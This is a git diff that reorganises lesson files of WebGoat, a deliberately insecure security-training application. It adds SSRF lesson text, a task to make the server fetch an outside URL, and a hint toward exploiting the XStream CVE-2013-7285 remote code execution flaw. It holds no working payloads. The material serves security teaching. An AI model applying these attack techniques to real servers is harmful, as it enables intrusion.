webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content5_after.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_after.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content5_before.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_before.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content5_before.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_before.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content6.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content6.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content6.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content6.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content7.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content7.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content7.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content7.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content8.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content8.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content8.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content8.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content9.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content9.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content9.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content9.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_plan.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_plan.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_plan.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_plan.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_jdbc_completion.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_completion.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_jdbc_completion.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_completion.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_jdbc_newcode.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_newcode.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_jdbc_newcode.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_jdbc_newcode.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_order_by.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_order_by.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_order_by.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_order_by.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_quiz.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_quiz.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_quiz.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_quiz.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjection.html b/src/main/resources/lessons/sqlinjection/html/SqlInjection.html similarity index 85% rename from webgoat-lessons/sql-injection/src/main/resources/html/SqlInjection.html rename to src/main/resources/lessons/sqlinjection/html/SqlInjection.html index b505801ea..529b54b56 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjection.html +++ b/src/main/resources/lessons/sqlinjection/html/SqlInjection.html @@ -5,12 +5,12 @@
-
+
-
+
-
+
-
+
-
+
-
+
@@ -123,22 +123,22 @@ });
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
diff --git a/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionAdvanced.html b/src/main/resources/lessons/sqlinjection/html/SqlInjectionAdvanced.html similarity index 93% rename from webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionAdvanced.html rename to src/main/resources/lessons/sqlinjection/html/SqlInjectionAdvanced.html index 9e68fa547..040c824d9 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionAdvanced.html +++ b/src/main/resources/lessons/sqlinjection/html/SqlInjectionAdvanced.html @@ -5,17 +5,17 @@
-
+
-
+
-
+
-
+
-
+
@@ -162,7 +162,7 @@ -
+
diff --git a/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionMitigations.html b/src/main/resources/lessons/sqlinjection/html/SqlInjectionMitigations.html similarity index 84% rename from webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionMitigations.html rename to src/main/resources/lessons/sqlinjection/html/SqlInjectionMitigations.html index 410f95a50..f989a1c05 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionMitigations.html +++ b/src/main/resources/lessons/sqlinjection/html/SqlInjectionMitigations.html @@ -4,23 +4,23 @@
-
+
-
+
-
+
-
+
-
+
@@ -40,7 +40,7 @@
-
+
@@ -60,14 +60,14 @@
-
+
-
+
-
+
-
+
-
+
-
+
@@ -191,7 +191,7 @@
-
+
diff --git a/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels_de.properties b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_de.properties similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels_de.properties rename to src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_de.properties diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels_fr.properties b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_fr.properties similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels_fr.properties rename to src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_fr.properties diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels_ru.properties b/src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_ru.properties similarity index 100% rename from webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels_ru.properties rename to src/main/resources/lessons/sqlinjection/i18n/WebGoatLabels_ru.properties diff --git a/webgoat-lessons/sql-injection/src/main/resources/js/assignment10b.js b/src/main/resources/lessons/sqlinjection/js/assignment10b.js similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/js/assignment10b.js rename to src/main/resources/lessons/sqlinjection/js/assignment10b.js diff --git a/webgoat-lessons/sql-injection/src/main/resources/js/assignment13.js b/src/main/resources/lessons/sqlinjection/js/assignment13.js similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/js/assignment13.js rename to src/main/resources/lessons/sqlinjection/js/assignment13.js diff --git a/webgoat-lessons/sql-injection/src/main/resources/js/challenge.js b/src/main/resources/lessons/sqlinjection/js/challenge.js similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/js/challenge.js rename to src/main/resources/lessons/sqlinjection/js/challenge.js diff --git a/webgoat-lessons/sql-injection/src/main/resources/js/questions_sql_injection.json b/src/main/resources/lessons/sqlinjection/js/questions_sql_injection.json similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/js/questions_sql_injection.json rename to src/main/resources/lessons/sqlinjection/js/questions_sql_injection.json diff --git a/src/main/resources/lessons/ssrf/documentation/SSRF_Intro.adoc b/src/main/resources/lessons/ssrf/documentation/SSRF_Intro.adoc new file mode 100755 index 000000000..b6958d2f6 --- /dev/null +++ b/src/main/resources/lessons/ssrf/documentation/SSRF_Intro.adoc @@ -0,0 +1,12 @@ +== Concept +In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to. Moreover, by carefully selecting the URLs, the attacker may read server configuration such as AWS metadata, connect to internal services like HTTP enabled databases, or perform post requests towards internal services that are not intended to be exposed. + +== Goals +In the exercises on the following pages, you need to examine what the browser sends to the server and adjust the request to get other things from the server. + +== SSRF How-To +* https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF + +== A New Era of SSRF by Orange Tsai + +video::D1S-G8rJrEk[youtube, height=480, width=100%] \ No newline at end of file diff --git a/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Prevent.adoc b/src/main/resources/lessons/ssrf/documentation/SSRF_Prevent.adoc similarity index 56% rename from webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Prevent.adoc rename to src/main/resources/lessons/ssrf/documentation/SSRF_Prevent.adoc index 67cd12051..fe33884b6 100755 --- a/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Prevent.adoc +++ b/src/main/resources/lessons/ssrf/documentation/SSRF_Prevent.adoc @@ -1,11 +1,11 @@ - == Prevent To prevent SSRF vulnerabilities in web applications, it is recommended to adhere to the following guidelines: -* Use a whitelist of allowed domains, resources and protocols from where the web server can fetch resources. +* Use a whitelist of allowed domains, resources, and protocols from where the webserver can fetch resources. * Any input accepted from the user should be validated and rejected if it does not match the positive specification expected. -* If possible, do not accept user input in functions that control where the web server can fetch resources. +* If possible, do not accept user input in functions that control where the webserver can fetch resources. == References -* https://www.owasp.org/index.php/Server_Side_Request_Forgery \ No newline at end of file +* https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html + diff --git a/webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Task1.adoc b/src/main/resources/lessons/ssrf/documentation/SSRF_Task1.adoc similarity index 100% rename from webgoat-lessons/ssrf/src/main/resources/lessonPlans/en/SSRF_Task1.adoc rename to src/main/resources/lessons/ssrf/documentation/SSRF_Task1.adoc diff --git a/src/main/resources/lessons/ssrf/documentation/SSRF_Task2.adoc b/src/main/resources/lessons/ssrf/documentation/SSRF_Task2.adoc new file mode 100755 index 000000000..7f35490fb --- /dev/null +++ b/src/main/resources/lessons/ssrf/documentation/SSRF_Task2.adoc @@ -0,0 +1,2 @@ +=== Change the request, so the server gets information from http://ifconfig.pro +Click the button and figure out what happened. diff --git a/webgoat-lessons/ssrf/src/main/resources/html/SSRF.html b/src/main/resources/lessons/ssrf/html/SSRF.html similarity index 82% rename from webgoat-lessons/ssrf/src/main/resources/html/SSRF.html rename to src/main/resources/lessons/ssrf/html/SSRF.html index c04edf620..39d6927c6 100755 --- a/webgoat-lessons/ssrf/src/main/resources/html/SSRF.html +++ b/src/main/resources/lessons/ssrf/html/SSRF.html @@ -3,11 +3,11 @@
-
+
-
+
-
+
-
+
diff --git a/webgoat-lessons/ssrf/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/ssrf/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/ssrf/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/ssrf/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/ssrf/src/main/resources/images/cat.jpg b/src/main/resources/lessons/ssrf/images/cat.jpg similarity index 100% rename from webgoat-lessons/ssrf/src/main/resources/images/cat.jpg rename to src/main/resources/lessons/ssrf/images/cat.jpg diff --git a/webgoat-lessons/ssrf/src/main/resources/images/jerry.png b/src/main/resources/lessons/ssrf/images/jerry.png similarity index 100% rename from webgoat-lessons/ssrf/src/main/resources/images/jerry.png rename to src/main/resources/lessons/ssrf/images/jerry.png diff --git a/webgoat-lessons/ssrf/src/main/resources/images/tom.png b/src/main/resources/lessons/ssrf/images/tom.png similarity index 100% rename from webgoat-lessons/ssrf/src/main/resources/images/tom.png rename to src/main/resources/lessons/ssrf/images/tom.png diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js b/src/main/resources/lessons/ssrf/js/credentials.js similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js rename to src/main/resources/lessons/ssrf/js/credentials.js diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content0.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content0.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content0.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content0.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content1.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content1.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content1a.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1a.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content1a.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1a.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content2.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content2.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content2a.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2a.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content2a.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2a.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content3.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content3.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content3.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content3.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content4.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content4.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content4a.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4a.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content4a.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4a.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content4b.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4b.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content4b.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4b.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content4c.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4c.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content4c.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4c.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content5.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content5.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content5a.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5a.adoc similarity index 95% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content5a.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5a.adoc index 48b4b334f..1809cf26b 100644 --- a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content5a.adoc +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5a.adoc @@ -13,6 +13,6 @@ WebGoat uses an XML document to add contacts to a contacts database. ---- -The java interface that you need for the exercise is: org.owasp.webgoat.vulnerable_components.Contact. +The java interface that you need for the exercise is: org.owasp.webgoat.lessons.vulnerablecomponents.Contact. Start by sending the above contact to see what the normal response would be and then read the CVE vulnerability documentation (search the Internet) and try to trigger the vulnerability. For this example, we will let you enter the XML directly versus intercepting the request and modifying the data. You provide the XML representation of a contact and WebGoat will convert it a Contact object using `XStream.fromXML(xml)`. diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content6.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content6.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_content6.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content6.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_plan.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_plan.adoc similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/lessonPlans/en/VulnerableComponents_plan.adoc rename to src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_plan.adoc diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/html/VulnerableComponents.html b/src/main/resources/lessons/vulnerablecomponents/html/VulnerableComponents.html similarity index 69% rename from webgoat-lessons/vulnerable-components/src/main/resources/html/VulnerableComponents.html rename to src/main/resources/lessons/vulnerablecomponents/html/VulnerableComponents.html index a71d4b805..a281cb8d0 100644 --- a/webgoat-lessons/vulnerable-components/src/main/resources/html/VulnerableComponents.html +++ b/src/main/resources/lessons/vulnerablecomponents/html/VulnerableComponents.html @@ -4,20 +4,20 @@
-
+
-
+
-
+
-
+
-
+
@@ -45,7 +45,7 @@
-
+
@@ -75,26 +75,26 @@
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/vulnerablecomponents/i18n/WebGoatLabels.properties similarity index 88% rename from webgoat-lessons/vulnerable-components/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/vulnerablecomponents/i18n/WebGoatLabels.properties index 87c13198c..a34913df0 100644 --- a/webgoat-lessons/vulnerable-components/src/main/resources/i18n/WebGoatLabels.properties +++ b/src/main/resources/lessons/vulnerablecomponents/i18n/WebGoatLabels.properties @@ -1,7 +1,6 @@ vulnerable-components.title=Vulnerable Components EnterYourName=Enter your Name -Go!=Go! vulnerable.hint=Did you search for CVE-2013-728 and read https://x-stream.github.io/CVE-2013-7285.html vulnerable-components.close=The payload send could not be deserialized to a Contact class. Please try again. vulnerable-components.success=You successfully tried to exploit the CVE-2013-7285 vulnerability -vulnerable-components.fromXML=You created contact {0}. This means you did not exploit the remote code execution. \ No newline at end of file +vulnerable-components.fromXML=You created contact {0}. This means you did not exploit the remote code execution. diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/images/OWASP-2013-A9.png b/src/main/resources/lessons/vulnerablecomponents/images/OWASP-2013-A9.png similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/images/OWASP-2013-A9.png rename to src/main/resources/lessons/vulnerablecomponents/images/OWASP-2013-A9.png diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/images/OWASP-Dep-Check.png b/src/main/resources/lessons/vulnerablecomponents/images/OWASP-Dep-Check.png similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/images/OWASP-Dep-Check.png rename to src/main/resources/lessons/vulnerablecomponents/images/OWASP-Dep-Check.png diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/images/Old-Components.png b/src/main/resources/lessons/vulnerablecomponents/images/Old-Components.png similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/images/Old-Components.png rename to src/main/resources/lessons/vulnerablecomponents/images/Old-Components.png diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/images/OpenSourceGrowing.png b/src/main/resources/lessons/vulnerablecomponents/images/OpenSourceGrowing.png similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/images/OpenSourceGrowing.png rename to src/main/resources/lessons/vulnerablecomponents/images/OpenSourceGrowing.png diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/images/Risk-of-Old-Components.png b/src/main/resources/lessons/vulnerablecomponents/images/Risk-of-Old-Components.png similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/images/Risk-of-Old-Components.png rename to src/main/resources/lessons/vulnerablecomponents/images/Risk-of-Old-Components.png diff --git a/webgoat-lessons/vulnerable-components/src/main/resources/images/WebGoat-Vulns.png b/src/main/resources/lessons/vulnerablecomponents/images/WebGoat-Vulns.png similarity index 100% rename from webgoat-lessons/vulnerable-components/src/main/resources/images/WebGoat-Vulns.png rename to src/main/resources/lessons/vulnerablecomponents/images/WebGoat-Vulns.png diff --git a/webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/en/Introduction.adoc b/src/main/resources/lessons/webgoatintroduction/documentation/Introduction.adoc similarity index 96% rename from webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/en/Introduction.adoc rename to src/main/resources/lessons/webgoatintroduction/documentation/Introduction.adoc index 3a2e66421..f6eae592f 100644 --- a/webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/en/Introduction.adoc +++ b/src/main/resources/lessons/webgoatintroduction/documentation/Introduction.adoc @@ -1,6 +1,8 @@ == What is WebGoat? --- +Welcome `username:user[]`! + WebGoat is a deliberately insecure application that allows interested developers just like you to _test vulnerabilities_ commonly found in Java-based applications that use common and popular open source components. diff --git a/src/main/resources/lessons/webgoatintroduction/documentation/Introduction_de.adoc b/src/main/resources/lessons/webgoatintroduction/documentation/Introduction_de.adoc new file mode 100644 index 000000000..c2927e637 --- /dev/null +++ b/src/main/resources/lessons/webgoatintroduction/documentation/Introduction_de.adoc @@ -0,0 +1,18 @@ +== Was ist WebGoat? +--- + +WebGoat ist eine Anwendung, die verschiedene Schwachstellen aus den OWASP Top 10 erklärt und testet. + +Es enthält Lektionen, Übungen und Herausforderungen (Challenges). Die Lektionen sind in verschiedene Kategorien unterteilt und enthalten Seiten mit Informationen und Übungen. Sie sollten die Herausforderungen zuletzt versuchen. Diese sind knifflig und enthalten keine Hinweise. + +Ziel von WebGoat ist es, alles rund um das Thema Websicherheit spielerisch zu lernen und zu erleben. Dies ist sowohl für Entwickler als auch für Tester geeignet. + +Fühlen Sie sich frei, WebGoat einem gründlichen Test zu unterziehen und Ihre Kenntnisse und Erfahrungen in diesem Bereich zu verbessern. + +Sie sollten versuchen, die WebGoat-Anwendungsübungen mit einer Hacking-Mentalität zu lösen. + +Danke für dein Interesse! + +*Das WebGoat-Team* + +#Die meisten Texte sind auf Englisch. Sie können die Sprache über das Dropdown im Menü wechseln. Sie sind auch herzlich eingeladen, Texte zu übersetzen um WebGoat zu verbesseren.# diff --git a/src/main/resources/lessons/webgoatintroduction/documentation/Introduction_fr.adoc b/src/main/resources/lessons/webgoatintroduction/documentation/Introduction_fr.adoc new file mode 100644 index 000000000..5c3a03265 --- /dev/null +++ b/src/main/resources/lessons/webgoatintroduction/documentation/Introduction_fr.adoc @@ -0,0 +1,18 @@ +== Qu'est-ce que WebGoat? +--- + +WebGoat est une application qui explique et teste diverses vulnérabilités du top 10 OWASP. + +Il contient des leçons, des exercices et des défis (Challenges). Les leçons sont divisées en plusieurs catégories et contiennent des pages contenant des informations et des exercices. Vous devriez essayer les défis en dernier. Ceux-ci sont délicats et ne contiennent aucun indice. + +Le but de WebGoat est d'apprendre et de tout expérimenter de manière ludique dans le domaine de la sécurité Web. Cela convient à la fois aux développeurs et aux testeurs. + +N'hésitez pas à faire passer un test approfondi à WebGoat et à améliorer vos connaissances et votre expérience dans ce domaine. + +Vous devriez essayer de résoudre les exercices d'application WebGoat avec un état d'esprit de piratage. + +Merci pour ton intérêt! + +*L'équipe WebGoat* + +#La plupart des textes sont en anglais. Vous pouvez changer de langue via la liste déroulante du menu. Vous êtes également cordialement invité à traduire des textes pour améliorer WebGoat.# diff --git a/webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/nl/Introduction.adoc b/src/main/resources/lessons/webgoatintroduction/documentation/Introduction_nl.adoc similarity index 81% rename from webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/nl/Introduction.adoc rename to src/main/resources/lessons/webgoatintroduction/documentation/Introduction_nl.adoc index 05633a84d..702986c6f 100644 --- a/webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/nl/Introduction.adoc +++ b/src/main/resources/lessons/webgoatintroduction/documentation/Introduction_nl.adoc @@ -3,7 +3,7 @@ WebGoat is een applicatie die verschillende kwetsbaarheden uit de OWASP top 10 uitlegt en laat uittesten. -Het bevat lessen, oefeningen en uitdagingen (de challenges). De lessen zijn onderverdeeld in een aantal categorien en daarin staan pagina's met informatie en oefeningen. De challenges moet je als laatste uitproberen. Deze zijn lastig en bevatten geen hints. +Het bevat lessen, oefeningen en uitdagingen (de challenges). De lessen zijn onderverdeeld in een aantal categorien en daarin staan pagina's met informatie en oefeningen. De challenges moet je als laatste uitproberen. Deze zijn lastig en bevatten geen hints. De opzet van WebGoat is om spelenderwijs alles te leren en te ervaren op het gebied van web security. Dit is geschikt voor zowel ontwikkelaars als testers. @@ -14,3 +14,5 @@ Je moet met een hacking mindset proberen de WebGoat applicatie oefeningen op te Bedankt voor je interesse! *Het team van WebGoat* + +#De meeste tekst is in het Engels. U kunt van taal wisselen via de dropdown in het menu. U bent ook van harte uitgenodigd om teksten te vertalen om WebGoat te verbeteren.# diff --git a/src/main/resources/lessons/webgoatintroduction/html/WebGoatIntroduction.html b/src/main/resources/lessons/webgoatintroduction/html/WebGoatIntroduction.html new file mode 100644 index 000000000..c1863ef98 --- /dev/null +++ b/src/main/resources/lessons/webgoatintroduction/html/WebGoatIntroduction.html @@ -0,0 +1,8 @@ + + + +
+
+
+ + diff --git a/webgoat-lessons/webgoat-introduction/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/webgoatintroduction/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/webgoat-introduction/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/webgoatintroduction/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/webgoat-introduction/src/main/resources/images/wg_logo.png b/src/main/resources/lessons/webgoatintroduction/images/wg_logo.png similarity index 100% rename from webgoat-lessons/webgoat-introduction/src/main/resources/images/wg_logo.png rename to src/main/resources/lessons/webgoatintroduction/images/wg_logo.png diff --git a/src/main/resources/lessons/webwolfintroduction/documentation/IntroductionWebWolf.adoc b/src/main/resources/lessons/webwolfintroduction/documentation/IntroductionWebWolf.adoc new file mode 100644 index 000000000..fe54d2789 --- /dev/null +++ b/src/main/resources/lessons/webwolfintroduction/documentation/IntroductionWebWolf.adoc @@ -0,0 +1,25 @@ +== Introducing WebWolf + +You only need WebWolf if a lesson specifies that you can use it. For many lessons, you use WebGoat without +using WebWolf. Lessons where you can use WebWolf, are marked with the following icon (top right in the assignment): + +{nbsp} + +image::images/wolf-enabled.png[width=115,height=128] + +{nbsp} + +Even if the icon is present, you are not obliged to use WebWolf. You can also use any intercepting tool you like. +(`netcat` etc.) + +You can always open WebWolf by clicking the icon in the top right corner. + +WebWolf opens in a new browser tab and is a separate web application that simulates an attacker's machine. It makes it possible for us to +distinguish between what takes place on the attacked website and what actions you need to take as +an "attacker." The idea for WebWolf came about after a couple of workshops where we received feedback that there +was no clear distinction between what was part 